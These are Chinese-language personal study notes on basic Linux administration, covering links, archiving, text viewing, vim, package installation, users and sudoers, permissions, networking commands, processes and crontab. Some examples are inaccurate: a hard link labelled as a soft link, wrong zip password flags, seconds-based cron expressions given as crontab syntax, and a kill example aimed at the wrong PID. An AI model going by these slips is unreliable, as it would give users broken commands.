- 软连接:软连接相当于是win下面的快捷方式
- 硬链接:相当于和源文件一样,修改硬链接源文件也会被修改,但是删除硬链接源文件不会受到影响
此处就是给usr/lib在/下创建了一个名为lib的软链接
删除软连接 rm 软链接名称
#创建软连接
[root@localhost ~]# ll /usr/bin/view
lrwxrwxrwx. 1 root root 2 Dec 26 2019 /usr/bin/view -> vi
[root@localhost ~]# ln /usr/bin/view /usr/bin/v
[root@localhost ~]# ll /usr/bin/v
lrwxrwxrwx. 2 root root 2 Dec 26 2019 /usr/bin/v -> vi
[root@localhost ~]# v 1.txt
#给vi创建一个v的软链接,直接使用v+文件名,打开文本文件
#删除软链,rm即可删除
[root@localhost ~]# cd /usr/bin
[root@localhost bin]# rm v
rm: remove symbolic link 'v'? y
#修改硬链接源文件也会被修改,但是删除硬链接源文件不会受到影响
[root@localhost ~]# cat aaa/1.txt
nico
[root@localhost ~]# ln aaa/1.txt /root/ddd.txt
[root@localhost ~]# cat ddd.txt
nico
[root@localhost ~]# echo "hello">>ddd.txt
[root@localhost ~]# cat ddd.txt
nico
hello
[root@localhost ~]# cat aaa/1.txt
nico
hello
[root@localhost ~]# rm -f ddd.txt
[root@localhost ~]# cat aaa/1.txt
nico
hello
6、文件压缩及解压缩
(1)打包和压缩
打包;多个文件变成一个文件------减少文件个数;打包/解包 可减少个数,归档存储
压缩:缩小一个文件的体积------减少文件的体积;压缩/解压 ;压缩率:压缩后的体积/压缩前体积
常见压缩格式:
- HTTP:gzip
gzip、deflate(zlib格式)、br(broli)、identity(不压缩)
- Windows:zip、rar、7z
winrar、360压缩、bandizip、7zip
- Linux:gzip(tar.gz=.tgz)、bzip2(.bz2)、zip
压缩后的体积:tar.bz2 < tgz< tar
压缩解压时间:tar.bz2 >tar >tgz
(2)linx中的压缩
- 打包命令tar常用选项
#创建10个txt文件
[root@localhost ~]# touch {0..10}.txt
#打包(不压缩)
[root@localhost ~]# tar -cvf test.tar *.txt
#解包
[root@localhost ~]# tar -xvf test.tar
#打包并gz压缩
[root@localhost ~]# tar -czvf test.tar.gz *.txt
#解压
[root@localhost ~]# tar -zxvf test.tar.gz
注:因为解压或解包如果指定目录的话,都会直接解压到当前目录,为了防止出现不可控情况,可将压缩包直接放在指定目录,在当前目录解压或解包
-
zip命令
#压缩
zip test.zip *.txt#解压缩
unzip test.zip#解压缩到指定目录
unzip test.zip -d bbb#添加密码
zip -rp 123456 test.zip *.zip#使用密码解密
unzip -p 123456 test.zip
7、查看和处理文本文件的内容
(1)文本文件和二进制文件
- 文本文件:
- 文本文件是有一个字符集编码的,如:ASCII、UTF-8、Unicode、ANSI
- 常见文本文件:txt、xml、conf、properties、yml等配置文件、日志文件、源代码
- 二进制文件:
- 可执行程序、图片、音频、视频
(2)命令
-
查看文件cat
#全拼:concatenate [kənˈkætəneɪt] 连接
#格式:cat 文件名
cat 1.txt 2.txt
#可以将两个文件拼接查看 -
查看文件more/less
#只用less即可
#分页查看
more 加文件#第三行开始显示
more +3 test.log#从出现a开始显示
more +/a test.log#结束查看,按q即可
[root@localhost ~]# less 1.txt
[root@localhost ~]# less +3 1.txt
[root@localhost ~]# less +/Music 1.txT
-
- 分屏操作:
-
-
more /less搜索
#首先用less进入文件查看
#然后使用/(从上往下查所有)或?(从下往上查所有)
#按enter键后:n键查找下一个符合内容,N查找上一个符合内容例如:要从上往下查找文件中所有的bash
在文件查看页面直接键入/bash,按enter开始查找,n或N上下翻看,q结束
-
-
查看前n或末尾n条信息:head/tail
#查看前面5行内容
[root@localhost ~]# head -n 5 1.txt
.
..
1.txt
aaa
anaconda-ks.cfg#查看末尾3行内容
[root@localhost ~]# tail -n 3 1.txt
.Xauthority
.xauthTd1rOS
xz#-f实时查看文件的内容,一般实时查看日志文件比较多 tail -f 加文件名
[root@localhost ~]# tail -f 1.txt -
全局搜索正则表达并打印 grep
#格式:grep 选额 模式 文件名
#搜索文件的内容,例如:找出当前目录所有文件种,内容包含"a"的文本文件
[root@localhost ~]# grep a* *
1.txt:aaa
grep: aaa: Is a directory
grep: Desktop: Is a directory -
管道符号
#把前一个命令原本要输出到屏幕的数据当作是后一个命令的标准输入
#command1 | command2 | command3例如:用less显示行号的方式查看当前进程
[root@localhost ~]# ps -ef | less -N#查看3306端口号是否启动
[root@localhost ~]# netstat -an|grep 3306
tcp6 0 0 :::3306 :::* LISTEN -
统计词数 wc
#-l 或--lines 显示行数
#-w 或--words只显示字数
[root@localhost ~]# wc -l 1.txt
36 1.txt
[root@localhost ~]# wc -w 1.txt
36 1.txt
#统计当前文件个数
[root@localhost ~]# ls -l |wc -l
18 -
对比文件 diff
#对比文件
[root@localhost ~]# cp 1.txt 2.txt
[root@localhost ~]# echo "33">>2.txt
[root@localhost ~]# diff 1.txt 2.txt
36a3733
#加选项 -r 对比目录
8、Linux文本编辑器
Windows:Notepad(记事本)、Sublime、UltraEdit等
Linux:VI/VIM、nano、Emacs、Sed、gedit、Kate等
(1)vi和vim的区别
vim是vi的进阶版,使用起来没有太大的区别
(2)vim的配置文件
全局配置:/etc/vimrc
用户配置:~/.vimrc
(3)vim的三种模式
- 命令模式:通过命令操作文本文件
- 编辑模式:对文本的内容进行编辑
- 底行模式:结束操作的时候使用
1、 命令模式
#格式:vim 文件名
[root@localhost ~]# vim 1.txt
#出现错误提示类似:E325: ATTENTION Found a swap file by the name ".redis.conf.swp
#原因是编辑未保存;可保存文本文件或删除.swp文件
- 移动光标操作
显示行号:底行模式:set nu
- 搜索替换操作
- 先后查找内容:/关键字,回车
- 向前查找内容:?关键字,回车
- n下一个关键字
- N上一个关键字
- 删除和复制的操作
2、编辑模式
- a:在光标下一个字符之前插入文本
- A:在光标所在的航模插入文本
- i:在光标上一个字符之前插入文本
- I:在光标的行首插入文本
- o:在光标所在的行下插入一行文本
- O:在光标所在的行上插入一行文本
- r:修改当前光标所在的字符
- R:替换文本
编辑模式下:Ctrl+U 撤消
退出编辑模式:Esc
3、底行模式
- Shift + :
- :w 保存
- :q 退出
- :wq 保存并且保存
- :q! 放弃修改,退出
- :e! 放弃所有更改,重新编辑(不关闭)
- 显示行号: :set nu
- :%s/word1/word2/g 把文档中的word1替换为word2
9、软件安装
(1)软件为什么要安装
- 安装检查
- 释放文件
- 复制可执行文件
- DLL动态链接库/安装服务
- 注册表
- 开始菜单和快捷方式
(2)linux可执行程序
- /bin
- /sbin
- /usr/bin
- /usr/sbin
(3)脚本和程序的区别
不需要编译的(跨平台的特性强):Javascript、Python、Ruby......
需要编译的:C、C++、Swift、Kotlin、Go......
解释型:边解释边执行
编译型:计算机可以直接执行
(4)inux安装软件的几种方式
源码编译(make)、rpm、deb、yum、apt、Docker(越来越多使用)......
(5)linux主要派系
(6)安装方式
- 源码安装
- rpm(红帽派系使用)
rpm不能解决软件的依赖问题
- yum安装
YUM(Yellow dog Updater, Modified),基于rpm但解决软件依赖的问题
yum -y install 包名------无人值守安装
- DNF和YUM的区别
DNF是yum的下一代,由于yum未更新,目前DNF使用的比较多
- Debian系
- Deb包安装
- apt安装(Deb的高级版本)
- FreeBSD系
- package
- ports
(7)centos安装软件案例
通过yum的方式安装MySQL
#下载yum repository
[root@localhost soft]# wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm
#安装
[root@localhost soft]# yum -y install mysql57-community-release-el7-10.noarch.rpm
#安装mysql服务器
[root@localhost soft]# yum -y install mysql-community-server
#启动MySQL
[root@localhost soft]# systemctl start mysqldb.service
(8)软件版本的管理
update-alternatives 命令用于linux系统中软件版本的切换
#查看java的注册版本
update-alternatives --display java
#添加
alternatives --install /usr/bin/java java /usr/local/jdk-11.0.2/bin/java3
#/usr/bin/java:注册地址,软链
#java:服务名
#/usr/local/jdk-11.0.2/bin/java:实际程序路径
#3:优先级
#切换
update-alternatives --config java
10、用户和权限管理
(1)用户组
一个用户必须要属于一个组,同时也可以属于多个组
- 组ID-Group id-gid
- root用户组:GID=0
- 程序用户组(系统用户组):1-999(centos7)
- 普通用户组:1000-65535
- 查看用户组
- cat /etc/group:查看全部组
- groups:查看用户的所属组
- groupadd security:添加用户组,l例如添加一个名为xz的组即为:groupadd xz
- groupdel security:删除用户组,例如删除一个名为xz的组即为:groupdel xz
- 用户
- root用户:UID=0(反之成立,如果一个用户的uid是0,无论他名字是什么,他就是root用户)
- 程序用户(系统用户):1-999(centos7)
- 普通用户:1000-65535
- 查看用户
- cat /etc/passwd:查看所有的用户id
- useradd 选项 参数:添加用户
- passwd 选项 参数:修改用户密码
- userdel 选项 参数:删除用户
- usermod 选项 参数:修改用户信息
#创建一个组
[root@localhost java]# groupadd security
#在这个组里创建一个叫alan的用户
[root@localhost java]# useradd -g security alan
#此时home下就有一个该用户的启动目录
[root@localhost java]# cd /home
[root@localhost home]# ls
alan java
#修改用户密码
[root@localhost home]# passwd alan
#删除用户
[root@localhost home]# userdel alan
(3)用户管理相关文件
- /etc/group
- 例如:mysql:x:27
- 其中mysql是组名;x是组密码,组密码存于影子文件 cat /etc/gshadow中;27是GID;后面如果还有一位就是用户列表
- /etc/password
- 例如:root:x:0:0:root:/root:/bin/bash
- root未用户名;x为用户密码,密码在/etc/gshadow中;第三位的0为uid;第四位是gid;第五位是用户的描述;第六位是用户的主目录;第七位为用户使用的shell程序
- /etc/shadow
- 1、用户名;2、密码;3、最后修改时间(1970 年 1 月 1 日以后的多少天);4、最小修改间隔时间 5、密码有效期;6、密码需要变更前的警告天数;7、密码过期后的宽限天数 ;8、账号失效时间;9、保留
- 密码格式
#命令:openssl passwd -1 -salt admin 123456
#salt即在明文加密的过程中,他的加密结果是一定的很容易被破解,可以加一个特定的词即盐值,将其加在密码的任意位置,然后在进行加密,以达到安全的目的
#格式:$id$salt$encrypted
#示例:$1$admin$LClYcRe.ee8dQwgrFc5nz.
#1为加密方式,admin为盐值,最后面是明文加盐值后的加密结果
- /etc/sudoers
- 把一些只有root用户能够使用的命令,授权给特定的用户去做,超级用户
即用户可以做任何操作
-
- sudo 命令 ,即例如alan的用户需要执行关机操作,键入sudo reboot,他会去sudoers中去查找是否有这一条让alan操作关机的记录,若有即执行操作
- sudo -l:查看当前用户是否有一些sudo的操作
#示例:
#给alan用户添加reboot权限
#1、查看reboot命令位置
[root@localhost home]# whereis reboot
#2、打开/etc/sudoers文件并添加记录
alan ALL=(ALL) NOPASSWD:/sur/sbin/reboot
#此处若用vim添加内容失败,可能是因为权限的问题,由于该文件为敏感文件若修改权限会带来一些问题,可使用visudo来修改文件
#保存sudoers文件即可
(4)用户管理基本命令
- id :查询用户账号身份标识
- finger:查看用户的登录属性;如存在无法执行的情况,可用yum安装,yum install -y finger,即可
- w、who:查询系统当前在线的用户
- users:查询系统当前在线的用户
- whoami:查看用户
- su:切换用户
(5)用户和文件的关系
文件所有者:所属用户、所属组
访问权限:读、写、执行
(6)文件和目录归属
- 任何一个文件都有文件所属者和所属组
- 修改文件所属者命令 chown
- chown -R alan /usr/local/soft:把后面这个文件的所属者全部更改为alan;-R的参数是递归处理
- chown -R redis:redis /usr/local/soft/redis:修改所属的用户和用户组修改为redis和redis(用户:组)
(7)文件和目录权限
用ll查看文件,可以看到文件的信息如下
可将其分为三段来看 d | rwx | rwx | r-x;
- 第一段中若是d 代表是目录文件(文件夹);若是- :代表为普通文件
- 第二段:所属用户权限 u user
- 第三段:所属组的用户的权限 g group
- 第四段:其他用户的权限o other
- 每一段中的:r:read可读;w:write可写;x:exectue可执行;-:没有权限
(8)权限修改命令chmod
# 添加组用户的写权限。
chmod g+w test.log
# 删除其他用户的所有权限。
chmod o= test.log
# 使得所有用户都没有写权限。
chmod a-w test.log
# 当前用户具有所有权限,组用户有读写权限,其他用户只有读权限。
chmod u=rwx, g=rw, o=r test.log
# 等价的八进制数表示:
chmod 764 test.log
# 将目录以及目录下的文件都设置为所有用户拥有读写权限。
# 注意,使用'-R'选项一定要保留当前用户的执行和读取权限,否则会报错!
chmod -R a=rw testdir/
# 根据其他文件的权限设置文件权限,把test的权限设置成和1一样
chmod --reference=1.log test.log
11、linux网络管理
(1)网络的基本概念
- 网卡:电脑负责网络通信的设备,可以有多个网卡
- mac地址:一台计算机的物理地址,在网卡上
- IP:互联网协议地址,是可以修改和动态变化的,在同一网络环境是不能重复的
- 公有、私有
- 局域网:使用私有IP地址
- 互联网使用共有IP地址
- NAT (Network Address Translation):网络地址转换
- IPV4和IPV6
IPV4:4个8为二进制,2^32=全部约42亿个,实际可用约25亿
IPV4分配不够所以有了IPV6,IPv6是128位的,一共有2的128次方个
- 公网IP地址的分配
NIC(Network Information Center)分配
ISP(网络业务提供商)、网络基础设施提供商
- 动态、静态IP
DCHP(Dynamic Host Configuration Protocol)动态,电脑开机时DHCP服务器分配IP
static 静态
- 127.0.0.1
环回地址(loop back)代表本地地址,向自己的电脑发送信息;可ping通代表网卡正常
- 端口port
作用:区分程序
范围:0-65535
系统端口:0-1023
用户端口:也成为注册端口,1024-49151
动态端口:也称为私有或临时端口,49152-65535
- 域名Domain Name
作用:替代IP,方便记忆识别
域名如何转换成IP:Domain Name System-DNS,相当于是一个存储域名和对应IP的数据库;114.114.114(国内三大运营商提供),8.8.8.8(谷歌提供)
域名与IP的数量关系:多对一
-
- 子域名:例如:www.baidu.com map.baidu.com,前面的www和map
- localhost:通常就指换回地址,代表自己的本机
(2)网络配置文件
- /etc/sysconfig/network-scripts/ifcfg- ens33 :网卡配置文件
- /etc/sysconfig/network-scripts/ifcfg-lo :环回地址配置文件
- /etc/hosts :主机名与IP的映射
- /etc/resolv.conf :DNS配置,由ens33自动覆盖
(3)查看及配置网络
- ifconfig
- 全拼:network interfaces configuring
- 位于net-tools工具包
- 可以动态配置网络参数
- 通常不建议使用此命令配置网络设备参数,因为她是临时的,重启即失效
- ip
- 位于iproute工具包
- 添加设备、启动停止网络设备、设置IP、设置网关......
(4)连通性探测
- ping
- Packet Internet Groper,因特网包探索器
- telent(cents7 默认不安装)
- 远程登录:telnet bbs.newsmth.net
-
- 探测端口:telnet 192.168.142.132 80;telnet 192.168.142.132 22
- 明文传输,安全性不好
(5)查看网络连接(即查看端口号)
- netstat(直接使用ss 命令同,一般用ss -a)
全拼:network statistics
查看程序的网络连接情况:
netstat -ap | grep ssh
查看端口的网络连接情况:
netstat -ap | grep 3306
(6)域名相关
-
nslookup(查找域名对应的ip地址)
-
nslookup baidu.com
A记录:IP地址
CNAME:域名别名
MX:邮件服务器
-
-
dig(域名信息挖掘)
- dig baidu.com A +noall +answer
-
host
- host baidu.com
(7)下载传输
- 常规方式
Xshell拖曳------上传
xftp------双向,或者Filezilla、FlashFTP
sz file name------下载
rz------上传
vmtools拖动------传入
QQ------双向
-
wget
- 直接使用:wget +下载地址:wget https://download.redis.io/releases/redis-6.0.9.tar.gz
- 下载时修改名字:wget -O redis.tar.gz https://download.redis.io/releases/redis-6.0.9.tar.gz
- 断点续传:wget -c
- 后台下载:wget -b
- 同时下载多个文件:wget -i 1.txt(1.txt中为下载清单)
- 查看下载进度:tail -f wget-log
-
scp
- l例如:讲本机1.txt的文件上传到,远程192.168.142的机器的/tmp下:scp 1.txt root@192.168.142.66:/tmp
- 传文件夹时加 -r 选项,即递归的
-
curl
-
curl https://www.baidu.com > page.html(保存一个网页)
curl -X POST -d 'a=1&b=nihao' URL
curl -H "Content-Type: application/json" -X POST -d '{"abc":123,"bcd":"nihao"}' URL
(8)防火墙
- iptables工具
-
启动防火墙:systemctl start firewalld
-
查看已开放的端口:firewall-cmd --list-ports
-
开启80端口:firewall-cmd --zone=public --add-port=80/tcp --permanent(开启后需要重启防火墙生效)
-
重启防火墙:firewall-cmd --reload
-
停止防火墙:systemctl stop firewalld.service
-
禁止防火墙开机启动:systemctl disable firewalld.service
-
删除规则:firewall-cmd --zone=public --remove-port=80/tcp --permanent
-
12、Linux系统状态管理
(1)查看系统信日期时间
- date(查看当前日期)
#直接使用date命令
[root@localhost ~]# date
2022年 10月 17日 星期一 00:31:35 PDT
#需要修改输出格式的情况
[root@localhost ~]# date "+%Y-%m-%d %H:%M:%S"
2022-10-17 00:54:56
- cal(查看日历)
#直接使用cal
[root@localhost ~]# cal
十月 2022
日 一 二 三 四 五 六
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31
# -y 查看当前年份的日历
#-s 将星期日作为月的第一天;
-
-
uptime(系统负载信息)
#直接使用uptime命令 [root@localhost ~]# uptime 01:13:43 up 1 day, 14:27, 2 users, load average: 0.00, 0.01, 0.05 #显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。
-
w(显示目前登入系统的用户信息)
#直接使用w(显示包括uptime的内容) [root@localhost ~]# w 01:17:33 up 1 day, 14:31, 2 users, load average: 0.07, 0.05, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT java :0 :0 日02 ?xdm? 9:23 0.23s gdm-session-worker java pts/0 :0 17:40 5.00s 0.30s 10.47s /usr/libexec/gnome
-
- 查看系统版本
- cat /etc/redhat-release(红帽版本信息等)
- uname -a(显示内核版本信息)
- cat /proc/version(包括内核版本信息,红帽版本信息等)
(2)进程管理
-
- 程序、进程、服务
-
程序:是静态的,例如mysql程序,主要指应用程序,编写好的一段代码,
进程:是一个状态,就是在操作系统中运行的程序,它是操作系统资源管理的最小单位。但是进程是一个动态的实体,它是程序的一次执行过程,一个程序可以运行出多个进程,在Linux系统中每一个进程都有一个专属的id,简称pid
- 服务:一直在运行的命令,其独立于控制终端,不受前台和终端的控制,在后台周期性地执行某种任务或等待处理某些发生的事件。运行服务的进程通常被成为后台进程(守护进程)
-
#查找所有服务中的mysql服务 [root@localhost ~]# systemctl list-unit-files |grep mysql mysqld.service enabled mysqld@.service disabled #查看对应的文件 [root@localhost ~]# cat /etc/services |grep mysql mysql 3306/tcp # MySQL mysql 3306/udp # MySQL mysql-cluster 1186/tcp # MySQL Cluster Manager mysql-cluster 1186/udp # MySQL Cluster Manager mysql-cm-agent 1862/tcp # MySQL Cluster Manager Agent mysql-cm-agent 1862/udp # MySQL Cluster Manager Agent mysql-im 2273/tcp # MySQL Instance Manager mysql-im 2273/udp # MySQL Instance Manager mysql-proxy 6446/tcp # MySQL Proxy mysql-proxy 6446/udp # MySQL Proxy
-
运行程序
-
查看进程top
- 与ps都为查看正在执行的进程的命令,但是其区别在于top时在实时更新的
#上半部分内容
#第一行:
top - 01:57:20 up 1 day, 15:10, 3 users, load average: 0.00, 0.01, 0.05
top - 01:57:20 :系统时间
up 1 day:运行时间
3 users:当前的登陆用户数量
load average: 0.00, 0.01, 0.05:1分钟发、5分钟、15分钟的负载情况
#第二行
Tasks: 182 total, 1 running, 181 sleeping, 0 stopped, 0 zombie
Tasks: 182 total:总进程数108
1 running:正在运行的进程数1
181 sleeping:当前休眠的进程数181
0 stopped:停止的进程数0
0 zombie:僵尸进程数
#第三行
%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
Cpu(s):cpu状态信息
0.0 us:user space用户空间占用cpu的百分比
0.0 sy:sysctl内核空间~
0.0 ni:改变过优先级的进程~
100.0 id:idolt空闲~
0.0 wa:wait等待~
0.0 hi:Hardware IRQ硬中断~
0.0 si:Software Interrupts软中断~
0.0 st:虚拟机被hypervisor偷去的CPU
#第四行为内存状态
KiB Mem : 999936 total, 220212 free, 489540 used, 290184 buff/cache
#第五行为swap交换分区信息
KiB Swap: 2097148 total, 1820716 free, 276432 used. 305856 avail Mem
其中:
total:总共的内存
used:使用中的内存总量,指的是现在系统内核控制的内存数
free:空闲的内存总量,是内核还未纳入其管控范围的数量。
这里要说明的是不能用windows的内存概念理解这些数据
第四行中使用中的内存总量(used)指的是现在系统内核控制的内存数,空闲内存总量(free)是内核还未纳入其管控范围的数量。
纳入内核管理的内存不见得都在使用中,还包括过去使用过的现在可以被重复利用的内存
内核并不把这些可被重新使用的内存交还到free中去,因此在linux上free内存会越来越少,但不用为此担心。
对于内存监控,在top里我们要时刻监控第五行swap交换分区的used
如果这个数值在不断的变化,说明内核在不断进行内存和swap的数据交换,这是真正的内存不够用了。
#后半部分
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
PID:进程ID,是进程的唯一标识符
USER:用户名,是进程所有者的实际用户名
PR :进程的调度优先级,为rt 或大于等于 0 的数字;这个字段的一些值是'rt',这意味这这些进程运行在实时态
NI :代表这个进程的nice值,值是:[-20, 19]之间的数字,越小的值意味着越高的优先级。负值表示高优先级,正值表示低优先级
VIRT:进程使用的虚拟内存 #需要这些内存,但是并没有占满,VIRT=SWAP+RES
RES:常驻内存; 进程使用的、未被换出的物理内存大小, #用了多少内存
SHR:共享内存 #除了自身进程的共享内存,也包括其他进程的共享内存
S:这个是进程的状态。它有以下不同的值:
D - 不可中断的睡眠态。
R – 运行态
S – 睡眠态
T – 被跟踪或已停止
Z – 僵尸态
%CPU:自从上一次更新时到现在任务所使用的CPU时间百分比
%MEM:进程使用的可用物理内存百分比
TIME+:任务启动后到现在所使用的全部CPU时间,精确到百分之一秒
COMMAND:运行进程所使用的命令,进程名称(命令名/命令行)
#在top命令执行过程中可以使用的一些交互命令。这些命令都是单字母的,如果在命令行中使用了-s选项, 其中一些命令可能会被屏蔽。
#例如:k:终止一个进程;输入top命令后,找到进程的id,在键入k,回车后键入要结束的进程id
- ps
-
- ps -ef:以全格式显示当前所有的进程
UID:用户ID
PID:进程ID
PPID:父进程ID
C:CPU用于计算执行优先级的因子。数值越大,表明进程是CPU密集型运算,执行优先级会降低;数值越小,表明进程是I/O密集型运算,执行优先级会提高
STIME:进程启动的时间
TTY:完整的终端名称
TME:CPU时间
CMD:启动进程所用的命令和参数
- ps -aux:以用户的格式查看当前终端的所有进程信息,并显示后台进程运行的参数
USER:用户名称
PID:进程号
%CPU:进程占用CPU的百分比
%MEM:进程占用物理内存的百分比
VSZ:进程占用的虚拟内存大小(单位:KB)
RSS:进程占用的物理内存大小(单位:KB)
TTY:终端名称,缩写
STAT:进程状态,其中S=睡眠,s=表示该进程是会话的先导进程,N=表示进程拥有比普通优先级更低的优先级,R=正在运行,D=短期等待,Z=僵死进程,T=被跟踪或者被停止等
STARTED:进程的启动时间
TIME:CPU时间,即进程使用CPU的总时间
COMMAND:启动进程所用的命令和参数,如果过长会被截断显示
通常的使用方法,查看进程有没有启动,例如:ps -ef | grep mysql
-
- pstree: 以树状图的方式展现进程之间的派生关系,显示效果比较直观,常和grep配合使用
#-p:显示程序识别码;
[root@localhost ~]# pstree -p | grep ssh
| | | |-ssh-agent(32213)
|-sshd(881)---sshd(42963)---bash(42976)-+-grep(43745)
- 服务管理 systemctl
#以MySQL为例
#查看所有服务状态
systemctl status mysqld
#启动服务
systemctl start mysqld
#重启服务
systemctl restart mysqld
#停止服务
systemctl stop mysqld
#开机启动服务
ystemctl enable mysqld
#停止开机启动
systemctl disable mysqld
- 停止程序kill
信号量代表不同的动作
#kill掉mysql的进程
[root@localhost ~]# ps -af | grep mysql
root 44598 38376 0 05:10 pts/0 00:00:00 grep --color=auto mysql
[root@localhost ~]# kill -9 38376
Killed
#强制kill掉进程kill -9
(3)内存使用情况
- free:内存的情况
total :总内存
used :已使用
free :未使用
shared :共享内存
buff/cache :缓冲/缓存区
available :启动新程序可用
# -h:以可读的方式展示
#-m 以MB为单位显示内存使用情况;
(4)du:磁盘的使用情况(disk usage)
du /usr #显示使用情况
du -h /usr #--human-readable 用恰当的单位
du -h /usr --max-depth=1 # 加上层级限制
du -h --max-depth=1 | sort -hr #降序排列
du -ah /usr | sort -hr | head -n 3 #前三个大文件
du -ah /usr --exclude="*/.*" #排除隐藏目录
du -kt 10M ./* # 找出10M以上的文件
(5)定时任务
- crontab 选项 参数
#-e:编辑该用户的计时器设置;
#-l:列出该用户的计时器设置;
#-r:删除该用户的计时器设置;
#-u<用户名称>:指定要设定计时器的用户名称。
#例如:删除root用户的定时任务
crontab -u root -r
- cron表达式:
字段 允许值 允许的特殊字符
秒 0-59 - * /
分 0-59 - * /
小时 0-23 - * /
日期 1-31 - * ? / L W C
月份 1-12 或者 JAN-DEC - * /
星期 1-7 或者 SUN-SAT - * ? / L C #
年(可选) 留空, 1970-2099 - * /
#符号含义
*:代表任何时间,
,:代表不连续的时间
-:代表连续的时间范围,
*/n:代表每隔多久执行一次
#实例
*/5 * * * * ? 每隔5秒执行一次
0 */1 * * * ? 每隔1分钟执行一次
0 0 12 ? * WED 表示每个星期三中午12点
0 0 17 ? * TUES,THUR,SAT 每周二、四、六下午五点
- 添加定时任务流程
#每分钟向1.txt文件写入一个单词
[root@localhost ~]# crontab -e
crontab: no changes made to crontab
[root@localhost ~]# crontab -l
*/1 * * * * echo "good" >> 1.txt
[root@localhost ~]# tail -f 1.txt
good
good
good
- 定时任务文件
/etc/crontab #管理文件
/var/spool/cron/ #每个用户包括root的crontab任务
/etc/cron.d/ #存放任何要执行的crontab文件或脚本